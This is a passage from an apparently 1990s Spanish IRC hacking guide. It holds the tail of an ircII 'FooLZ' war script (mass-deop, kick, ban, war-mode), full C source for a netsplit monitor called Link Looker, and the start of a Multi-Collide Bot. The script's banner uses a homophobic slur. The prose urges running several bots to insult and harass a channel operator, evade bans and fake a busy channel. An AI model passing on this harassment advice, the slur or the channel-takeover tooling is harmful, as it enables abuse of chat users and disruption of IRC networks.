  1495.     IF (!ISCHANOP($N $C)) {
  1496.       NOT_OPPED DVOP Someone.
  1497.     } { 
  1498.       IF ([$0]) {
  1499.          IF ([$1]) {
  1500.             IF ([$2]) {
  1501.                MODE * -vvv $0 $1 $2
  1502.                IF (([$2]!=[$1])&&([$2]!=[$0])) {
  1503.                   TELL_USER $2 de-vopped
  1504.                }
  1505.             } {
  1506.                MODE * -vv $0 $1
  1507.             }
  1508.             IF ([$1]!=[$0]) {
  1509.                TELL_USER $1 de-vopped
  1510.             }
  1511.          } {
  1512.             MODE * -v $0
  1513.          }
  1514.          TELL_USER $0 de-vopped
  1515.       } {
  1516.          SHOW_USAGE /DVOP <nick1> [nick2] [nick3]
  1517.       }
  1518.     }
  1519.   }
  1520.  
  1521.   ALIAS FooL {
  1522.     ^SET HOLD_MODE ON
  1523.     ECHO +----------------------------------------------------------------------+
  1524.     ECHO |                   $BOLD FooLZ 4 iRC BRoUGHT 2 U By BoW$BOLD                    |
  1525.     ECHO |                OK SCRiPT FaGG0T, HeRe'S YoUR oPTiONS:                |
  1526.     ECHO |                                                                      |
  1527.     ECHO | Commands:                                                            |
  1528.     ECHO | $BOLD/BAN <nick>$BOLD                    - Ban user nick from current channel  |
  1529.     ECHO | $BOLD/DBAN <nick>$BOLD                   - Unban user nick from current channel|
  1530.     ECHO | $BOLD/CLEARBAN $BOLD                     - Clear the current channels bans     |
  1531.     ECHO | $BOLD/CM       $BOLD                     - Clear the current channels modes    |
  1532.     ECHO | $BOLD/K [channel] <nick1> [nick2] [nick3] [comments]$BOLD - Kick users         |
  1533.     ECHO | $BOLD/OP <nick1> [nick2] [nick3]$BOLD    - Op user nick on current channel     | 
  1534.     ECHO | $BOLD/DOP <nick1> [nick2] [nick3]$BOLD   - De-op user nick on current channel  |
  1535.     ECHO | $BOLD/VOP <nick1> [nick2] [nick3]$BOLD   - Vop user nick on current channel    |
  1536.     ECHO | $BOLD/DVOP <nick1> [nick2] [nick3]$BOLD  - Vop user nick on current channel    |
  1537.     ECHO | $BOLD/MOP $BOLD                          - Mass-Op the channel                 |
  1538.     ECHO | $BOLD/MDOP$BOLD                          - Mass-De-op the channel              |
  1539.     ECHO | $BOLD/MVOP$BOLD                          - Mass-Vop the channel                |
  1540.     ECHO | $BOLD/MDVOP$BOLD                         - Mass-De-vop the channel             |
  1541.     ECHO | $BOLD/WAR$BOLD                           - Toggle FooLZ War-mode               |
  1542.     ECHO | $BOLD/SNOOP$BOLD                         - Toggle showing messages while away  |
  1543.     ECHO | $BOLD/BEG$BOLD                           - Beg for ops on the current channel  |
  1544.     ECHO | $BOLD/AOP <nick>$BOLD                    - Add nick to your auto-op list       |
  1545.     ECHO | $BOLD/DAOP <nick>$BOLD                   - Remove nick from your auto-op list  |
  1546.     ECHO | $BOLD/SAOP$BOLD                          - Display your auto-op list           |
  1547.     ECHO | $BOLD/M [channel] [mode]$BOLD            - Display/set channel mode            |
  1548.     ECHO | $BOLD/W [channel]$BOLD                   - Displays a who list, def=current    |
  1549.     ECHO | $BOLD/L [channel]$BOLD                   - Leaves a channel - default=current  |
  1550.     ECHO | $BOLD/SHOW$BOLD                          - Displays all FooLZ Toggles          |
  1551.     ECHO |                                                                      |
  1552.     ECHO | HeY SKRiPT PuPPY - oTHeR FeATuReZ iNKLuDE - aWaY MsG LoGGiNG,        |
  1553.     ECHO |                 SPLaTTeR KiCK PRoTeCTiON & SoME oTHeR STuFF i FoRGoT |
  1554.     ECHO |                                                                      |
  1555.     ECHO | Press ESC to toggle through message list.                            |
  1556.     ECHO +----------------------------------------------------------------------+
  1557.     ^SET HOLD_MODE OFF
  1558.   }
  1559.   ECHO [FooLZ] Loading completed.
  1560.   ECHO [FooLZ] 
  1561.   ECHO [FooLZ]       -BoW-                                         -BoW-
  1562.   ECHO [FooLZ]       -BoW- *************************************** -BoW-
  1563.   ECHO [FooLZ] -BoW- -BoW- * FooLZ 4 IRC - BRoUGHT To YoU By BoW * -BoW- -BoW-
  1564.   ECHO [FooLZ] -BoW- -BoW- * FooLZ iZ KoPYWRoNG (K) 1994 By BoW  * -BoW- -BoW-
  1565.   ECHO [FooLZ] -BoW- -BoW- * iF YoU ArE LaME uSE: /FooL FoR HeLP * -BoW- -BoW-
  1566.   ECHO [FooLZ]       -BoW- *************************************** -BoW
  1567.   ECHO [FooLZ]       -BoW-                                         -BoW-
  1568.   ECHO [FooLZ] 
  1569.   GET_MAH_INFO
  1570.   LOAD ~/.FooLZrc
  1571.  
  1572. ──────────────────────────────────────────────────────────────────────────────  
  1573.  
  1574.   11 - Un caballo de batalla : Link Looker .
  1575.  
  1576.   Todavia queres saber mas , joer , por lo visto este guia te esta gustando :)
  1577.   Pues aqui tambien volvemos a nuestro querido unix , ya que viene el
  1578.   codigo fuente del Link Looker , pues este herramienta es una utilidad
  1579.   la cual nos ayudara contra los split de los servidores :)
  1580.   Si , otra vez de vuelta al C y al ingles .
  1581.  
  1582.   -> Codigo fuente del Link Looker .
  1583.  
  1584.   /*=============================================================*\
  1585.    * ll.c - link looker                                          *
  1586.    * Copyright (C) 1994 by The Software System and lilo          *
  1587.    * Written by George Shearer (george@sphinx.biosci.wayne.edu)  *
  1588.    * Cleaned up to usability by lilo. :)                         *
  1589.    *                                                             *
  1590.    * September, 1994 - added help, version info and made the     *
  1591.    *                   program so you can actually use it. :)    *
  1592.    *                     --lilo                                  *
  1593.    *                                                             *
  1594.    * October 14, 1994 - cleaned up output flushing so you can    *
  1595.    *                    actually watch in something like real    *
  1596.    *                    time.  :)  --lilo                        *
  1597.    *                                                             *
  1598.    * October 28, 1994 - kill -1 will now produce a list of SPLIT *
  1599.    *                    servers.           -Doc                  *
  1600.    *                                                             *
  1601.    * November 4, 1994 - should compile on non-POSIX systems now. *
  1602.    *                    use -DHPSUCKS for HP-sUX systems 9.0x    *
  1603.    * November 15, 1994 - fixed a small bug in lilo's -h checker  *
  1604.   \*=============================================================*/
  1605.  
  1606.   /* This program is free software; you can redistribute it and/or modify
  1607.    * it under the terms of the GNU General Public License as published by
  1608.    * the Free Software Foundation; either version 2 of the License, or
  1609.    * (at your option) any later version.
  1610.    *
  1611.    * This program is distributed in the hope that it will be useful,
  1612.    * but WITHOUT ANY WARRANTY; without even the implied warranty of
  1613.    * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  1614.    * GNU General Public License for more details.
  1615.    *
  1616.    * You should have received a copy of the GNU General Public License
  1617.    * along with this program; if not, write to the Free Software
  1618.    * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  1619.    */
  1620.  
  1621.   /* Compiling examples:
  1622.  
  1623.     regular old ANSI/C cc:
  1624.     cc -O -s -o ll ll.c
  1625.  
  1626.     HP-UX cc:
  1627.     cc +O3 -Aa -s -DHPSUCKS -o ll ll.c
  1628.  
  1629.     GNU GCC:
  1630.  
  1631.     Linux:
  1632.       gcc -O2 -fomit-frame-pointer -funroll-loops -m486 -s -Wall -o ll ll.c
  1633.  
  1634.     BSD, SunOS 4.1.x, Slowaris 2.x, NeXT:
  1635.       gcc -O2 -funroll-loops -s -Wall -o ll ll.c */
  1636.  
  1637.   #define VERSION "1.06"
  1638.   #define BUFSIZE 400                     /* IRC Server buffer */
  1639.   #define SERVER  "irc.escape.com"        /* IRC Server        */
  1640.   #define PORT    6667                    /* IRC Port          */
  1641.   #define LDELAY  30                      /* Loop delay seconds*/
  1642.   #define TIMEOUT 30                      /* connection timeout*/
  1643.  
  1644.   #define ESTABLISHED     1
  1645.   #define INPROGRESS      2
  1646.   #define SPLIT           1
  1647.  
  1648.   #ifdef HPSUCKS
  1649.   #define _INCLUDE_HPUX_SOURCE
  1650.   #define _INCLUDE_XOPEN_SOURCE
  1651.   #define _INCLUDE_POSIX_SOURCE
  1652.   #endif
  1653.  
  1654.   #include <sys/time.h>
  1655.   #include <stdio.h>
  1656.   #include <string.h>
  1657.   #include <stdlib.h>
  1658.   #include <unistd.h>
  1659.   #include <sys/types.h>
  1660.   #include <sys/socket.h>
  1661.   #include <fcntl.h>
  1662.   #include <signal.h>
  1663.   #include <errno.h>
  1664.   #include <netinet/in.h>
  1665.   #include <netdb.h>
  1666.   #include <arpa/inet.h>
  1667.   #include <pwd.h>
  1668.  
  1669.   unsigned short int session=0,link_count=0;
  1670.   char in[BUFSIZE],out_buf[BUFSIZE],hostname[64];
  1671.   char *ins=in;
  1672.   char serverhost[81], nick[10], user[10], realname[81], lasttime[81];
  1673.   time_t ltime;
  1674.  
  1675.   struct irc_server {
  1676.    char *name;
  1677.    char *link;
  1678.    unsigned short int status;
  1679.    time_t time;
  1680.    struct irc_server *next;
  1681.   } *sl1=(struct irc_server *)0,*sl2=(struct irc_server *)0;
  1682.  
  1683.   void do_ping(char *,char *);
  1684.   void do_001(char *,char *);
  1685.   void do_error(char *,char *);
  1686.   void do_364(char *,char *);
  1687.   void do_365(char *,char *);
  1688.  
  1689.   /* prototyping is lame when the function is in the same
  1690.     code, lilo outta just move the function before all
  1691.     other functions that call it  :-) */
  1692.   char *stamp(time_t);
  1693.  
  1694.   struct parsers {
  1695.     char *cmd;
  1696.     void (*func)(char *,char *);
  1697.   } parsefuns[] = {
  1698.     { "PING", (void (*)())do_ping },
  1699.     { "001", (void (*)())do_001 },
  1700.     { "364",(void (*)())do_364 },
  1701.     { "365", (void (*)())do_365},
  1702.     { "ERROR",(void (*)())do_error},
  1703.     { (char *)0,(void (*)())0 }
  1704.   };
  1705.  
  1706.   struct sockaddr_in server;
  1707.   int sock=0;
  1708.  
  1709.   #ifndef sys_errlist
  1710.   extern char *sys_errlist[];
  1711.   #endif
  1712.  
  1713.   #ifndef errno
  1714.   extern int errno;
  1715.   #endif
  1716.  
  1717.   char *
  1718.   mystrerror(int err) {
  1719.    return(sys_errlist[err]);
  1720.   }
  1721.  
  1722.   unsigned long int
  1723.   resolver(char *host) {
  1724.    unsigned long int ip=0L;
  1725.  
  1726.   if(host && *host && (ip=inet_addr(host))==-1) {
  1727.     struct hostent *he;
  1728.     int x=0;
  1729.  
  1730.     while(!(he=gethostbyname((char *)host)) && x++<3) {
  1731.       fprintf(stderr,"."); fflush(stderr);
  1732.       sleep(1);
  1733.     }
  1734.     ip=(x<3) ? *(unsigned long *)he->h_addr_list[0] : 0L;
  1735.   }
  1736.  
  1737.    return(ip);
  1738.   }
  1739.  
  1740.   void
  1741.   clean_sl2(void) {
  1742.    while(sl2) {
  1743.     struct irc_server *temp=sl2->next;
  1744.     if(sl2->name)
  1745.       free(sl2->name);
  1746.     if(sl2->link)
  1747.       free(sl2->link);
  1748.     free(sl2);
  1749.     sl2=temp;
  1750.    }
  1751.    sl2=(struct irc_server *)0;
  1752.   }
  1753.  
  1754.   void
  1755.   exit_program(char *why) {
  1756.    fprintf(stderr,"\nExiting program. (%s)\n",why);
  1757.  
  1758.   if(sock)
  1759.     close(sock);
  1760.  
  1761.   while(sl1) {
  1762.     struct irc_server *temp=sl1->next;
  1763.     if(sl1->name)
  1764.       free(sl1->name);
  1765.     if(sl1->link)
  1766.       free(sl1->link);
  1767.     free(sl1);
  1768.     sl1=temp;
  1769.   }
  1770.  
  1771.   clean_sl2();
  1772.  
  1773.   if(in)
  1774.     free(in);
  1775.  
  1776.    exit(0);
  1777.   }
  1778.  
  1779.   int mystrccmp(register char *s1,register char *s2) {
  1780.     while((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)==
  1781.         (((*s2)>='a'&&(*s2)<='z')?(*s2++)-32:*s2++))
  1782.      if(*s1++==0) return 0;
  1783.    return (*(unsigned char *)s1-*(unsigned char *)--s2);
  1784.   }
  1785.  
  1786.   char *mstrcpy(char **to,char *from) {
  1787.    if(from) {
  1788.     if((*to=(char *)malloc(strlen(from)+1)))
  1789.       strcpy(*to,from);
  1790.   }
  1791.   else
  1792.     *to=(char *)0;
  1793.    return(*to);
  1794.   }
  1795.  
  1796.   char *digtoken(char **string,char *match) {
  1797.    if(string && *string && **string) {
  1798.     while(**string && strchr(match,**string))
  1799.       (*string)++;
  1800.     if(**string) { /* got something */
  1801.       char *token=*string;
  1802.       if((*string=strpbrk(*string,match))) {
  1803.         *(*string)++=(char)0;
  1804.         while(**string && strchr(match,**string))
  1805.           (*string)++;
  1806.       }
  1807.       else
  1808.         *string = ""; /* must be at the end */
  1809.       return(token);
  1810.     }
  1811.   }
  1812.    return((char *)0);
  1813.   }
  1814.  
  1815.   void signal_handler(void) {
  1816.    exit_program("caught signal");
  1817.   }
  1818.  
  1819.   void signal_alarm(void) {
  1820.    exit_program("timed out waiting for server interaction.");
  1821.   }
  1822.  
  1823.   void
  1824.   out(void) {
  1825.    int length=strlen(out_buf);
  1826.   errno=0;
  1827.   if(write(sock,out_buf,length)!=length)
  1828.     exit_program(mystrerror(errno));
  1829.   }
  1830.  
  1831.   void
  1832.   init_server(void) {
  1833.   int length;
  1834.  
  1835.   sprintf(out_buf,"USER %s %s %s :%s\nNICK %s\nMODE %s +is", \
  1836.     user, user, user, realname, nick, nick);
  1837.   length=strlen(out_buf);
  1838.  
  1839.   errno=0;
  1840.  
  1841.   if(write(sock,out_buf,length)==length) {
  1842.     fputs("established\n",stderr);
  1843.     session=ESTABLISHED;
  1844.     alarm(TIMEOUT);
  1845.     sprintf(out_buf,"LINKS\n");
  1846.     out();
  1847.   }
  1848.   else
  1849.     exit_program(mystrerror(errno));
  1850.   }
  1851.  
  1852.   void
  1853.   heartbeat(void) {
  1854.    strcpy(out_buf,"LINKS\n");
  1855.    out();
  1856.    signal(SIGALRM,(void (*)())heartbeat);
  1857.    alarm(LDELAY);
  1858.   }
  1859.  
  1860.   void
  1861.   do_364(char *from,char *left) {
  1862.    struct irc_server *serv;
  1863.    char *sv1,*sv2;
  1864.    char *nick;
  1865.  
  1866.   serv=(struct irc_server *)malloc(sizeof(struct irc_server));
  1867.   serv->next=sl2;
  1868.  
  1869.   serv->status=0;
  1870.   nick=digtoken(&left," ");
  1871.   sv1=digtoken(&left," ");
  1872.   sv2=digtoken(&left," ");
  1873.  
  1874.   mstrcpy(&serv->name,sv1);
  1875.   mstrcpy(&serv->link,sv2);
  1876.   sl2=serv;
  1877.   }
  1878.  
  1879.   int
  1880.   findserv(struct irc_server *serv,char *name) {
  1881.    for(;serv;serv=serv->next)
  1882.     if(!mystrccmp(name,serv->name))
  1883.       return(1);
  1884.   return(0);
  1885.   }
  1886.  
  1887.   void
  1888.   show_split(void) {
  1889.    struct irc_server *serv=sl1;
  1890.  
  1891.   signal(SIGHUP,(void (*)())show_split);
  1892.   for(;serv;serv=serv->next) {
  1893.     if(serv->status & SPLIT) {
  1894.       printf("%s SPLIT: %s [%s]\n",stamp(serv->time),serv->name,serv->link);
  1895.       fflush(stdout);
  1896.     }
  1897.    }
  1898.   }
  1899.  
  1900.   void
  1901.   do_365(char *from,char *left) {
  1902.    struct irc_server *serv=sl1;
  1903.  
  1904.   for(;serv;serv=serv->next) {
  1905.     if(!findserv(sl2,serv->name)) {
  1906.       if(!(serv->status & SPLIT)) {
  1907.         serv->time=time(NULL);
  1908.         printf("%s SPLIT: %s [%s]\n",stamp(serv->time),serv->name,serv->link);
  1909.         fflush(stdout);
  1910.         serv->status|=SPLIT;
  1911.       }
  1912.     }
  1913.     else
  1914.       if(serv->status & SPLIT) {
  1915.         serv->time=time(NULL);
  1916.         printf("%s MERGE: %s [%s]\n",stamp(serv->time),serv->name,serv->link);
  1917.         fflush(stdout);
  1918.         serv->status&=~SPLIT;
  1919.       }
  1920.   }
  1921.  
  1922.   serv=sl2;
  1923.  
  1924.   for(;serv;serv=serv->next) {
  1925.     if(!findserv(sl1,serv->name)) {
  1926.       struct irc_server *serv2;
  1927.  
  1928.       serv2=(struct irc_server *)malloc(sizeof(struct irc_server));
  1929.       serv2->next=sl1;
  1930.       serv2->status=0;
  1931.       mstrcpy(&serv2->name,serv->name);
  1932.       mstrcpy(&serv2->link,serv->link);
  1933.       sl1=serv2;
  1934.       serv2->time=time(NULL);
  1935.       if(link_count) {
  1936.         printf("%s ADDED: %s [%s]\n",stamp(serv2->time),serv->name,serv->link);
  1937.         fflush(stdout);
  1938.       }
  1939.     }
  1940.   }
  1941.  
  1942.    link_count=1;
  1943.    clean_sl2();
  1944.   }
  1945.  
  1946.   void
  1947.   do_ping(char *from,char *left) {
  1948.    sprintf(out_buf,"PING :%s\n",hostname);
  1949.    out();
  1950.   }
  1951.  
  1952.   void
  1953.   do_001(char *from,char *left) {
  1954.    fprintf(stderr,"Logged into server %s as nickname %s\n\n",from,nick);
  1955.    fflush(stderr);
  1956.    alarm(0);
  1957.    signal(SIGALRM,(void (*)())heartbeat);
  1958.    alarm(LDELAY);
  1959.   }
  1960.  
  1961.   void
  1962.   do_error(char *from,char *left) {
  1963.    fprintf(stderr,"Server error: %s\n",left);
  1964.    fflush(stderr);
  1965.   }
  1966.  
  1967.   void
  1968.    parse2(void) {
  1969.     char *from,*cmd,*left;
  1970.  
  1971.   if(*ins==':') {
  1972.     if(!(cmd=strchr(ins,' ')))
  1973.       return;
  1974.     *cmd++=(char)0;
  1975.     from=ins+1;
  1976.   }
  1977.   else {
  1978.     cmd=ins;
  1979.     from=(char *)0;
  1980.   }
  1981.   if((left=strchr(cmd,' '))) {
  1982.     int command;
  1983.     *left++=(char)0;
  1984.     left=(*left==':') ? left+1 : left;
  1985.     for(command=0;parsefuns[command].cmd;command++) {
  1986.       if(!mystrccmp(parsefuns[command].cmd,cmd)) {
  1987.         parsefuns[command].func(from,left);
  1988.         break;
  1989.       }
  1990.     }
  1991.    }
  1992.   }
  1993.  
  1994.   void
  1995.   parse(int length) {
  1996.    char *s=in;
  1997.  
  1998.    *(ins+length)=(char)0;
  1999.  
  2000.    for(;;) {
  2001.     ins=s;
  2002.     while(*s && *s!=(char)13 && *s!=(char)10)
  2003.       s++;
  2004.     if(*s) {
  2005.       while(*s && (*s==(char)13 || *s==(char)10))
  2006.         *s++=(char)0;
  2007.       parse2();
  2008.     }
  2009.     else
  2010.       break;
  2011.    }
  2012.    strcpy(in,ins);
  2013.    ins=in+(s-ins);
  2014.   }
  2015.  
  2016.   void
  2017.   process_server(void) {
  2018.    int x=0;
  2019.   
  2020.    for(;;) {
  2021.     fd_set rd,wr;
  2022.     struct timeval timeout;
  2023.  
  2024.     timeout.tv_usec=0; timeout.tv_sec=1;
  2025.     FD_ZERO(&rd); FD_ZERO(&wr);
  2026.  
  2027.     FD_SET(sock,&rd);
  2028.     if(session==INPROGRESS)
  2029.       FD_SET(sock,&wr);
  2030.  
  2031.     errno=0;
  2032.  
  2033.   #ifdef HPSUCKS
  2034.     select((size_t)FD_SETSIZE,(int *)&rd,(int *)&wr,(int *)0,(session==INPROGRESS)?(const struct timeval *)&timeout:(const struct timeval *)0);
  2035.   #else
  2036.     select(getdtablesize(),(fd_set *)&rd,(fd_set *)&wr,(fd_set *)0,(session==INPROGRESS)?(struct timeval *)&timeout:(struct timeval *)0);
  2037.   #endif
  2038.  
  2039.     if(errno==EINTR)
  2040.       continue;
  2041.  
  2042.     errno=0;
  2043.     if(session==INPROGRESS) {
  2044.       if(FD_ISSET(sock,&wr)) {
  2045.         init_server();
  2046.          continue;
  2047.       }
  2048.       else {
  2049.         if(x++>=TIMEOUT)
  2050.           exit_program("connection timed out");
  2051.         fprintf(stderr,"."); fflush(stderr);
  2052.       }
  2053.     }
  2054.  
  2055.     if(FD_ISSET(sock,&rd)) {
  2056.       int length=read(sock,ins,BUFSIZE-(ins-in));
  2057.  
  2058.       if(length<1) {
  2059.         if(session!=INPROGRESS) {
  2060.           if(!errno) {
  2061.             fputs("Connection closed by foreign host.",stderr);
  2062.             errno=ENOTCONN;
  2063.           }
  2064.           else
  2065.             fprintf(stderr,"Connection to %s closed.\n",
  2066.                    inet_ntoa(server.sin_addr));
  2067.           fflush(stderr);
  2068.         }
  2069.         exit_program(mystrerror(errno));
  2070.       }
  2071.       if(strpbrk(in,"\x0a\x0d"))
  2072.         parse(length);
  2073.       else
  2074.         ins=(BUFSIZE-((ins+length)-in)<1)?in:ins+length;
  2075.     }
  2076.    }
  2077.   }
  2078.  
  2079.   char *stamp(time_t ltime) {
  2080.    strftime(lasttime, 81, "%x %X", localtime(<ime));
  2081.    return (char *) &lasttime;
  2082.   }
  2083.  
  2084.   void
  2085.   main(int argc,char *argv[]) {
  2086.    unsigned short int sport=PORT;
  2087.    unsigned int loop;
  2088.    struct passwd *passent;
  2089.   
  2090.    fprintf(stderr, "Link Looker v%s, written and designed by Dr. Delete.\n" \
  2091.                   "                   Enhanced by lilo.\n" \
  2092.                   "Type '%s -h' or '%s --help' for more information.\n\n",
  2093.     VERSION, argv[0], argv[0]);
  2094.     
  2095.   for(loop=1; loop<argc; loop++) {
  2096.     if(!strcmp("-h", argv[loop]) || !strcmp("--help", argv[loop])) {
  2097.         fprintf(stderr,"Format:\n\n" \
  2098.         "  %s [-h] [<nick> [<server>[:<port>] ['<real name field>' " \
  2099.         "[<username>]]]]\n\n  where:\n\n" \
  2100.         "  <nick>            is the nickname to be used (default is userid),\n" \
  2101.         "  <server>          is the hostname of the server to be used,\n" \
  2102.         "  <port>            is a four digit port number (default is 6667),\n" \
  2103.         "  <real name field> is a description of the user (default is gecos info), and\n" \
  2104.         "  <username>        is the user account field, used only if identd\n" \
  2105.         "                    has not been enabled on the user's system.\n", \
  2106.         argv[0]);
  2107.       exit(1);
  2108.     }
  2109.   }
  2110.   
  2111.   passent=getpwuid(getuid());
  2112.  
  2113.   if(argc>1)
  2114.     strncpy(nick,argv[1],9);
  2115.   else
  2116.     strncpy(nick,passent->pw_name,9);
  2117.  
  2118.   if(argc>2) {
  2119.     char *port=strchr(argv[2],':');
  2120.     sport=(port)?atoi(port+1):sport;
  2121.     strncpy(serverhost,argv[2],80);
  2122.     if(port)
  2123.       serverhost[port-argv[2]]=(char)0;
  2124.   }
  2125.   else
  2126.     strncpy(serverhost,SERVER,80);
  2127.     
  2128.   if(argc>3)
  2129.     strncpy(realname,argv[3],80);
  2130.   else {
  2131.     char *comma=strchr(passent->pw_gecos,',');
  2132.     strncpy(realname,passent->pw_gecos,80);
  2133.     if(comma)
  2134.       realname[comma-(passent->pw_gecos)]=(char)0;
  2135.   }
  2136.  
  2137.   if(argc>4)
  2138.     strncpy(user,argv[4],9);
  2139.   else
  2140.     strncpy(user,passent->pw_name,9);
  2141.  
  2142.   signal(SIGPIPE,(void (*)())signal_handler);
  2143.   signal(SIGHUP,(void (*)())show_split);
  2144.   signal(SIGINT,(void (*)())signal_handler);
  2145.   signal(SIGTERM,(void (*)())signal_handler);
  2146.   signal(SIGBUS,(void (*)())signal_handler);
  2147.   signal(SIGABRT,(void (*)())signal_handler);
  2148.   signal(SIGSEGV,(void (*)())signal_handler);
  2149.   signal(SIGALRM,(void (*)())signal_alarm);
  2150.  
  2151.   errno=0;
  2152.   if((sock=socket(AF_INET,SOCK_STREAM,0))>0) {
  2153.     server.sin_family=AF_INET;
  2154.     server.sin_port=htons(sport);
  2155.     fprintf(stderr,"Resolving %s...",serverhost); fflush(stderr);
  2156.     if((server.sin_addr.s_addr=resolver(serverhost))) {
  2157.       fputs("done\n",stderr);
  2158.       fflush(stderr);
  2159.  
  2160.       setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  2161.       setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  2162.       setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  2163.  
  2164.       fcntl(sock,F_SETFL,(fcntl(sock,F_GETFL)|O_NDELAY));
  2165.  
  2166.       fprintf(stderr,"Connecting to %s...",inet_ntoa(server.sin_addr));
  2167.       fflush(stderr);
  2168.  
  2169.       errno=0;
  2170.       if(connect(sock,(struct sockaddr *)&server,sizeof(server))) {
  2171.         if(errno!=EINPROGRESS && errno!=EWOULDBLOCK)
  2172.           exit_program(mystrerror(errno));
  2173.         else
  2174.           session=INPROGRESS;
  2175.       }
  2176.       else
  2177.         init_server();
  2178.  
  2179.       gethostname(hostname,64);
  2180.       process_server();
  2181.     }
  2182.     else
  2183.       exit_program("resolve failed");
  2184.   }
  2185.   else {
  2186.     fprintf(stderr,"Failed to allocate an AF_INET socket. (%s)\n", \
  2187.       mystrerror(errno));
  2188.     fflush(stderr);
  2189.    }
  2190.   }
  2191.  
  2192. ──────────────────────────────────────────────────────────────────────────────  
  2193.  
  2194.   12 - Nuestro propio BOT .
  2195.  
  2196.   En este apartado explicaremos y os damos al codigo fuente de uno , pero
  2197.   por supuesto que esta en ingles y en C para unix :)
  2198.   Como te habras dado cuenta casi siempre esta en ingles , desgraciadamente
  2199.   esto es asi ya que nos llevan ventaja y ademas en español encontrar algo
  2200.   es realmente dificil , pero para ello estoy creando esta guia y que sea
  2201.   casi siempre para unix , es natural es el mejor s.o. que se puede
  2202.   encontrar e internet se mueve gracias a el .
  2203.   Bueno basta de rollos , empezamos esta seccion , ¿ quieres saber que es
  2204.   un BOT ? , bueno , pues basicamente consiste en que podamos meter en el
  2205.   servidor varias personas aunque en la practica sola haya una manejandolas
  2206.   o sea nosotros .
  2207.   Pues esto tiene varios usos , como cada bot que metamos le podemos meter
  2208.   un nick , pues podemos meternos en un canal con tres bot por ejemplo ,
  2209.   llamados bot1 , bot2 , bot3 ,  ya estamos dentro , vemos a un OP que
  2210.   sabemos que es un estupido , y por ejemplo con el bot2 le insultamos y
  2211.   luego le intentamos joder , el lo mas seguro es que heche al bot2 pero
  2212.   todavia en el canal tendremos a bot1 y bot3 , para seguir hablando
  2213.   y el OP solo cojera mania al bot2 :)
  2214.   Tambien podemos crear un canal y metenos varios bot en el y parecera que
  2215.   hay varias personas dentro y con el tiempo ya vendra gente .
  2216.   Aunque los bot tiene mas usos , no los voy a declarar todos aqui :)
  2217.   Tened cuidado cuando jugueis con el bot ya que os puede pillar ese OP
  2218.   que intentas joder o el servidor os puede hechar si os pilla usando
  2219.   bot .
  2220.  
  2221.   - > Codigo fuente de nuestro BOT .
  2222.  
  2223.   /*==========================================================*\
  2224.   || mcb.c - Multi-Collide Bot v2.0 (beta)                    ||
  2225.   || Written by Dr_Delete                                     ||
  2226.   || Released for the world to use on 11/15/94                ||
  2227.   || Modified a tiny bit by Vassago for use with Serpent 3.06 ||
  2228.   \*==========================================================*/
  2229.  
  2230.   /* This program is free software; you can redistribute it and/or modify
  2231.    * it under the terms of the GNU General Public License as published by
  2232.    * the Free Software Foundation; either version 2 of the License, or
  2233.    * (at your option) any later version.
  2234.    *
  2235.    * This program is distributed in the hope that it will be useful,
  2236.    * but WITHOUT ANY WARRANTY; without even the implied warranty of
  2237.    * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  2238.    * GNU General Public License for more details.
  2239.    *
  2240.    * You should have received a copy of the GNU General Public License
  2241.    * along with this program; if not, write to the Free Software
  2242.    * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  2243.    */
  2244.  
  2245.   /* Compiling examples:
  2246.  
  2247.    regular old ANSI/C cc:
  2248.     cc -O -s -o mcb mcb.c
  2249.  
  2250.    HP-UX cc:
  2251.     cc +O3 -Aa -s -DHPSUCKS -o mcb mcb.c
  2252.  
  2253.    GNU GCC:
  2254.  
  2255.     Linux:
  2256.       gcc -O2 -fomit-frame-pointer -funroll-loops -m486 -s -Wall -o mcb mcb.c
  2257.  
  2258.     BSD, SunOS 4.1.x, Slowaris 2.x, NeXT:
  2259.       gcc -O2 -funroll-loops -s -Wall -o mcb mcb.c */
  2260.  
  2261.   /* -------------------------------------------------------- *\
  2262.  
  2263.     To kill this program once it has started, send a
  2264.    kill -2 to it's process ID and it'll exit gracefully.
  2265.  
  2266.    kill -1 will cause mcb to display a list of it's active
  2267.    sessions to stdout.
  2268.  
  2269.   \* -------------------------------------------------------- */
  2270.  
  2271.   /*  You may want to tweak some of these defaults, but they
  2272.       are controllable on the command line. */
  2273.  
  2274.   /* Time in which parser will close a pending TCP connection,
  2275.      and possibly try again */
  2276.   #define TCP_TIMEOUT 30
  2277.  
  2278.   /* Number of times a session is allowed to attempt a TCP
  2279.      connection to the server. */
  2280.   #define MAX_ATTEMPTS     2
  2281.  
  2282.   /* Number of seconds the parser will wait for a server to
  2283.      start once the TCP connection has been made */
  2284.   #define SRV_TIMEOUT 60
  2285.  
  2286.   /* Maximum amount of time parser will wait for I/O */
  2287.   #define MAX_WAITIO  15
  2288.  
  2289.   /* Maximum amount of time the parser will wait when in NOMULTI mode */
  2290.   #define MAX_WAITIONM     5
  2291.  
  2292.   /* Max lines (NICK statements) to send to the server in NOMULTI mode */
  2293.   #define MAX_NICKS   5
  2294.  
  2295.   /* Default IRC server port */
  2296.   #define IRCPORT          6667
  2297.  
  2298.   /* number of bytes to allocate for socket read buffer */
  2299.   #define BUFSIZE          400
  2300.  
  2301.   #ifdef HPSUCKS
  2302.   #define _INCLUDE_HPUX_SOURCE
  2303.   #define _INCLUDE_XOPEN_SOURCE
  2304.   #define _INCLUDE_POSIX_SOURCE
  2305.   #endif
  2306.  
  2307.   #include <stdio.h>
  2308.   #include <stdlib.h>
  2309.   #include <string.h>
  2310.   #include <unistd.h>
  2311.   #include <sys/types.h>
  2312.   #include <ctype.h>
  2313.   #include <pwd.h>
  2314.   #include <fcntl.h>
  2315.   #include <signal.h>
  2316.   #include <errno.h>
  2317.   #include <sys/socket.h>
  2318.   #include <sys/time.h>
  2319.   #include <sys/wait.h>
  2320.   #include <netinet/in.h>
  2321.   #include <netdb.h>
  2322.   #include <sys/file.h>
  2323.   #include <arpa/inet.h>
  2324.  
  2325.   #ifndef sys_errlist
  2326.   extern char *sys_errlist[];
  2327.   #endif
  2328.  
  2329.   #ifndef errno
  2330.   extern int errno;
  2331.   #endif
